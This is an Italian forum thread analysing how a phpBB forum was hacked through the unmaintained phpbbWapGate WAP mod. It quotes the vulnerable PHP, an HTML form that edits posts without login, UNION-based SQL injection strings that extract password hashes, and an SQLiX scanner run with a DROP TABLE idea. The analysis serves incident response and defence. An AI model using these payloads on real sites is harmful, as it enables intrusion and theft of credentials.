 |
www.vincenzomanzoni.com Homepage personale e blog di Vincenzo Manzoni
|
Precedente :: Successivo |
Autore |
Messaggio |
SilvioMoioli Utente neonato


Registrato: 24/02/06 14:25 Messaggi: 24
|
Inviato: Gio Gen 17, 2008 1:42 pm Oggetto: HACKED: una spiegazione |
|
|
Ciao a tutti!
Come promesso ecco la spiegazione di quel che siamo riusciti a capire del guaio con M!KRO<H!P. E' un po' lungo, scusatemi, ma credo che ne valga la pena Fatemi sapere cosa ne pensate!
Parte 1: l'indagine
Come tutti, sono rimasto abbastanza sbalordito dal fatto che qualcuno si sia preso la briga di bucare il forum, e mi sono subito insospettito dalla firma non molto seria di M!KRO<H!P.
http://www.vincenzomanzoni.com/phpBB2/viewtopic.php?t=2912
Ho cominciato a consultare la sua galleria di foto su imageshack.us alla ricerca di indizi (basta cliccare sull'immagine della firma) e sono sorprendentemente arrivato al suo gatto:
http://profile.imageshack.us/user/mikrochip/
Facendo due pi� due ho pensato: se questo individuo ha preso il controllo del forum facendo la cortesia di non distruggere nulla e inoltre ha un bel gatto in camera, allora non dev'essere troppo cattivo!
http://profile.imageshack.us/user/mikrochip/images/detail/#296/killerbu5.jpg
(se il gatto si chiama killerbus amen, speriamo che non sia cattivo anche lui).
Purtroppo vedere il gatto non aiuta, e allora ho fatto una bella ricerca con Google usando come parola chiave il nome utente "mikrochip2000" (sperando che non usasse spesso Yahoo in cinese, quindi magari avrei potuto trovare un suo account su qualche altro provider).
http://www.google.it/search?q=mikrochip2000&gbv=2&hl=en&safe=off&filter=0
Guarda un po' che bell'elenco di siti bucati da M!KRO<H!P! Ma cosa vedo? Gruppo degli utenti di Chevrolet Niva polacco? Che strano...
http://www.chevy-niva.ru/login.php?redirect=viewtopic.php&p=0&start=0
http://en.wikipedia.org/wiki/Chevrolet_Niva
Ho cominciato a chiedermi cosa avessero in comune i due forum. Quasi niente, a parte il fatto che usano PHPBB. Quindi vincenzomanzoni.com non � un bersaglio politico, e M!KRO<H!P non � uno che ce l'ha col Vinz perch� gli ha rubato la ragazza.
Bene.
Fra l'altro trovo in giro un'altra sua firma, che conferma il sospetto che sia nostro connazionale ("contact me ON email", tipico esempio di Inglese fai-da-te)
http://img244.imageshack.us/my.php?image=mikrochiprx7.jpg
Bene.
Quel che mi sconcerta � che i risultati dei suoi buchi da Google sono pochini. Se si fosse trattato di uno stupidissimo script kiddie con in mano l'ultima vulnerabilit� di PHPBB avrebbe fatto molti pi� danni, dev'essere uno un po' pi� serio.
Male.
La cosa che mi confonde � che PHPBB � usatissimo e non ci sono vulnerabilit� note n� su phpbb.com, n� su Secunia e neanche su BUGTRAQ, quindi � molto difficile che si tratti di quello, ammenoch� abbiamo davanti uno veramente tosto, che per� non � molto probabile...
La fortuna fortunatamente mi assiste, e cercando tra i risultati incappo in qualcosa di interessante: su un certo forum che era nella cache di Google (retromoto.lv) M!KRO<H!P diceva di aver sfruttato un baco nel portale WAP.
WAP? E chi se lo ricorda?
http://en.wikipedia.org/wiki/WAP
Faccio una chiamatina a Vinz: i dubbi sono fondati. Anni fa aveva installato un MOD a PHPBB per permettere la consultazione via WAP, phpbbWapGate:
http://www.vincenzomanzoni.com/phpBB2/viewtopic.php?t=958&highlight=wap
Cerco su Internet per capire di cosa si tratta:
http://www.phpbb.com/community/viewtopic.php?t=224847
Siamo a cavallo. phpbbWapGate, un MOD non ufficiale, scritto con i piedi e in fretta, non supportato n� aggiornato da anni. C'� da scommettere che ci sar� qualche leggerezza nella stesura del codice...
Parte 2: caccia al baco
Da quel che ho capito, � molto probabile che il nostro M!KRO<H!P abbia usato una falla in phpbbWabGate per entrare. Non � sicuro, ma � molto probabile; se non altro spiega il fatto che i siti colpiti non sono tantissimi, che avere l'ultima versione di PHPBB non � sufficiente, che i bersagli sono disparati, che l'unica cosa che hanno in comune � il portale Wap e che su BUGTRAQ nessuno ne parla. Il fatto che la maggior parte dei siti bucati � in italiano, inoltre, conferma la poca predisposizione alle lingue straniere.
Resta da provare che il software in questione � debole. Se riesco a bucarlo io, che sono alla prima esperienza nell'ambito, siamo ragionevolmente sicuri che sia andata cos�.
(per la cronaca l'ho bucato in due serate, circa 4 ore di lavoro)
Il Vinz, cortesemente, mi ha passato una copia dei sorgenti di phpbbWapGate (che attualmente � quasi introvabile) e sposta la cartella wap da un'altra parte, cosicch� nessuno possa sfruttare nuovamente eventuali debolezze.
D� un'occhiata generale.
Al terzo file, wapedit.php, gi� vedo cose obbrobriose, che vi riporto:
Codice: | $answer = (empty($_POST['re'])) ? "" : $_POST['re'];
$post_id = (!isset($_GET['post'])) ? "0" : $_GET['post'];
[...]
if($answer == "")
{
[...]
} else {
$answer = $answer."\n\n[i]". $lang['wap_posted_from_a']. " ". $phone . "[/i]";
$answer = prepare_wap_post($answer,$uid);
$update_posts = $db->sql_query("update " . POSTS_TEXT_TABLE . " set post_text = \"$answer\", bbcode_uid =\"$uid\" where post_id = $post_id");
$update_text = $db->sql_query("update " . POSTS_TABLE . " set post_edit_time = \"$time\", enable_bbcode = \"1\", enable_html = \"1\", post_edit_count = post_edit_count +1 where post_id = $post_id");
$last = $db->sql_query("select p.topic_id, t.topic_replies, t.forum_id from " . TOPICS_TABLE . " t, " . POSTS_TABLE . " p where p.post_id = $post_id and t.topic_id = p.topic_id");
$last = $db->sql_fetchrow($last);
$start = $last['topic_replies'];
$topic = $last['topic_id'];
$forum_id = $last['forum_id'];
echo $lang['wap_edit_ok']. ".";
echo "<br/>";
echo sprintf($lang['wap_click_view_post']," <anchor>","<go href=\"" . append_sid("waptopic.$phpEx?s=$start&topic=$topic&forum=$forum_id&last=1") . "\"/></anchor>"); |
Bella l�! Innanzitutto, 'sta robba si permette di fare update e select senza neanche controllare l'identit� dell'utente. Quindi posso modificare post a volont� senza neanche fare il login!
Tutto quel che si deve fare � passare allo script (via GET) l'ID del post da modificare e (via POST) il nuovo testo. Basta che non sia una stringa vuota e lui fa un paio di update che modificano il post senza neanche chiederti la password!
Creare un file html che permetta di fare questa cosa � un compitino da Applicazioni Internet B, ricordate?
Codice: |
<html>
<form method="POST" action="http://www.vincenzomanzoni.com/phpBB2/*cartella wap*/wapedit.php?post=44873">
<input type="text" value="test" name="re"/>
<input type="submit"/>
</form>
</html> |
Guarda caso il post ID � quello del messaggio di Tommy! (si pu� vedere da alcuni link nel forum che il Vinz mi ha segnalato)
Ma modificare post a caso non � molto divertente, soprattutto perch� il codice di sopra presenta un altro errore, molto pi� grave, che lo espone alla SQL Injection:
http://en.wikipedia.org/wiki/SQL_injection
Le variabili $answer e $post_id, infatti, vengono inserite nella stringa delle interrogazioni SQL senza essere validate, quotate o controllate.
Per essere sicuro ho iniziato con una prova semplice, iniettando nella query:
Codice: | "update phpbb_posts_text set post_text = \"$answer\", bbcode_uid =\"$uid\" where post_id = $post_id" |
il codice:
Codice: | 0 OR post_id = 44873 |
sperando di ottenere lo stesso risultato di prima. Ha funzionato, grazie a un simpatico codificatore di URL che mi ha dato una mano:
http://www.blooberry.com/indexdot/html/topics/urlencoding.htm
Dato che l'injection funzionava, ho voluto iniziare a sfruttare la terza query debole (la select) per estrarre qualcosa di utile dal DB. Anche qui sono andato per tentativi (approccio MOC), iniettando nella query:
Codice: | "select p.topic_id, t.topic_replies, t.forum_id from phpbb_topics t, phpbb_posts p where p.post_id = $post_id and t.topic_id = p.topic_id" |
il codice:
Codice: | p.post_id+1 union (select p1.topic_id, t1.topic_replies, t1.forum_id from phpbb_topics t1, phpbb_posts p1 where p1.post_id = 44873 and t1.topic_id = p1.topic_id)/* |
Questo codice non fa altro che far restituire l'insieme vuoto alla query originale (p.post_id = p.post_id+1) e fare una unione con una query identica. Non servir� a molto ma prova il concetto: l'ultima echo ha effettivamente stampato i risultati della query manipolata col solito post del Tommy.
Codice: | echo sprintf($lang['wap_click_view_post']," <anchor>","<go href=\"" . append_sid("waptopic.$phpEx?s=$start&topic=$topic&forum=$forum_id&last=1") . "\"/></anchor>"); |
Da notare, in particolare, l'uso della variabile p nel codice iniettato in modo che le prime due query di update, che non la usano, non vengono eseguite; inoltre il /* apre un commento che ranza la parte finale della query originale.
A questo punto non restava che andare di birra e estrarre qualcosa di pi� utile... Ad esempio gli hash delle password! Ecco come:
Codice: | p.post_id+1 union (select ASCII(SUBSTRING(u1.user_password, 1, 1)) as topic_id, t1.topic_replies, t1.forum_id from phpbb_users u1, phpbb_topics t1, phpbb_posts p1 where u1.user_id = 2 limit 1)/* |
Siccome la query originale restituisce tre interi, ho dovuto fare qualche salto mortale per restituire un carattere alla volta (ecco perch� il SUBSTRING e l'ASCII) ma... Ha funzionato!
Vinz mi ha confermato di aver estratto correttamente i primi 6 nibble dell'hash md5 della sua attuale password, che per pudore non pubblico qui
Parte 3: conclusioni
L'analisi che avete letto prova che il modulo phpbbWapGate � decisamente scarso dal punto di vista della sicurezza. Anche un niubbo come me � riuscito a modificare e a tirar fuori dati a piacere dal database dall'analisi di uno solo dei file che compongono il modulo, con uno sforzo tutto sommato moderato.
Con ogni probabilit� M!KRO<H!P, che � pi� preparato ed ha pi� tempo per provare del sottoscritto, ha usato qualche altra vulnerabilit� che senza dubbio � presente in quel modulo per aprire un nuovo topic e far finta di essere Vinz per qualche minuto.
Stiamo valutando la possibilit� di passare l'IP di M!KRO<H!P alla Polizia Postale e di diffondere la conoscenza delle vulnerabilit� per tutelare altri siti nelle nostre condizioni.
Vinz ha ovviamente rimosso il modulo incriminato dopo le prove. Allo stato attuale delle cose sembra improbabile che il forum venga bucato nuovamente. E' per� possibile che durante il lungo periodo di vulnerabilit� M!KRO<H!P o qualche altro malintenzionato sia riuscito a leggere tutto il contenuto del database di PHPBB, compresi gli hash md5 delle password. Da questi risalire alle password non dovrebbe essere banalissimo ma � comunque possibile:
http://en.wikipedia.org/wiki/Md5#Vulnerability
http://en.wikipedia.org/wiki/Rainbow_table
Si raccomanda quindi a tutti un rinnovo delle password.
Ciao! _________________ Silvio Moioli
silvio at moioli dot net
"Things should be as simple as possible, but not any simpler" Einstein |
|
Top |
|
 |
Endless Utente adulto


Registrato: 23/12/03 18:06 Messaggi: 2905 Residenza: Bergamo (provincia)
|
Inviato: Gio Gen 17, 2008 2:57 pm Oggetto: |
|
|
Bella analisi Silvio, complimenti!
 _________________
Training autogeno: in caso di stress, eseguite il movimento in figura e ripetete:
"Amo il mio lavoro! Amo il mio lavoro! Amo il mio lavoro!" |
|
Top |
|
 |
Tomaux Utente adulto


Registrato: 12/08/04 17:56 Messaggi: 2494 Residenza: bergamo
|
Inviato: Gio Gen 17, 2008 7:24 pm Oggetto: |
|
|
manca solo il totale del tempo che ti � servito per scriverlo!!
ahahah  _________________ A volte mi fermo e penso:
"THE EARTHQUAKE!!! OH MY FUCKING GOD, THE EARTHQUAKE!!!"
|
|
Top |
|
 |
antonio Utente adolescente


Registrato: 18/02/06 12:07 Messaggi: 396
|
Inviato: Gio Gen 17, 2008 7:33 pm Oggetto: |
|
|
Per evidente interesse in quanto la mia tesi tratta queste tematiche anche io mi sono messo a fare qualche prova... per� non volevo guardare il codice (un attaccante spesso non ce l'ha)!
con questo tool:
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
e con un comando del genere
Codice: | perl SQLiX.pl -v=2 -all -url="http://www.vincenzomanzoni.com/*********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233"
|
si ottiene un risultato del genere:
Citazione: | ======================================================
-- SQLiX --
� Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================
Analysing URL [http://www.vincenzomanzoni.com/*********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233]
http://www.vincenzomanzoni.com/**********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233
[+] working on action
[+] Method: MS-SQL error message
....
[+] working on forum
[+] Method: MS-SQL error message
[+] Method: SQL error message
[+] Method: MySQL comment injection
[FOUND] MySQL Comment based injection (integer based)
[FOUND] MySQL comment injection
[+] working on sid
....
[ERROR] Parameter doesn't impact content
[+] Method: SQL Blind Statement Injection
RESULTS:
The variable [forum] from [http://www.vincenzomanzoni.com/********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233] is vulnerable to SQL Injection [Comment without quotes - MySQL].
|
il che mi indica che il parametro forum non viene validato ed � quindi iniettabile.
cambiando semplicemente il valore della variabile forum succede una cosa del genere:
Codice: | Failed obtaining forum access control lists
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'fdf' at line 3
SELECT a.forum_id, a.auth_view FROM phpbb_forums a WHERE a.forum_id = [b]2 fdf[/b]
Line : 125
File : auth.php |
facendomi vedere la stringa sql e indicandomi che posso farci qualsiasi cosa: "2; DROP TABLE ...???" ('non si fanno vedere mai in nessun caso le stringhe sql': sei sicuro vinz che non hai un'impostazione DEBUG=on??)
qui per� mi ero fermato: non volendo vedere il codice mi era risultato difficile trovare un posto dove far stampare una variabile di tipo stringa! Ma qui Silvio ha illustrato come si pu� fare carattere a carattere)
Risultato: con uno scanner di sqlinjection adatto si pu� far danno in meno di 10 minuti e senza neanche avere sottomano il codice sorgente! |
|
Top |
|
 |
SilvioMoioli Utente neonato


Registrato: 24/02/06 14:25 Messaggi: 24
|
Inviato: Gio Gen 17, 2008 11:57 pm Oggetto: |
|
|
Hehe, te l'ho detto che ero al primo tentativo: non mi sono messo a cercare tool appositi anche se immaginavo ne esistessero!
Solo una nota:
Codice: | 2; DROP TABLE ...??? |
non funziona, questo � MySQL e la sintassi con i ; funziona solo con MSSQL.
Quanto alla disponibilit� di sorgenti non � un problema visto che il plugin � open source e quindi con un minimo di ricerca si poteva anche trovare in giro...
Tommy: effettivamente ci ho messo quasi di pi� a scrivere il report che altro ;) _________________ Silvio Moioli
silvio at moioli dot net
"Things should be as simple as possible, but not any simpler" Einstein |
|
Top |
|
 |
|
|
Non puoi inserire nuovi argomenti Non puoi rispondere a nessun argomento Non puoi modificare i tuoi messaggi Non puoi cancellare i tuoi messaggi Non puoi votare nei sondaggi
|
|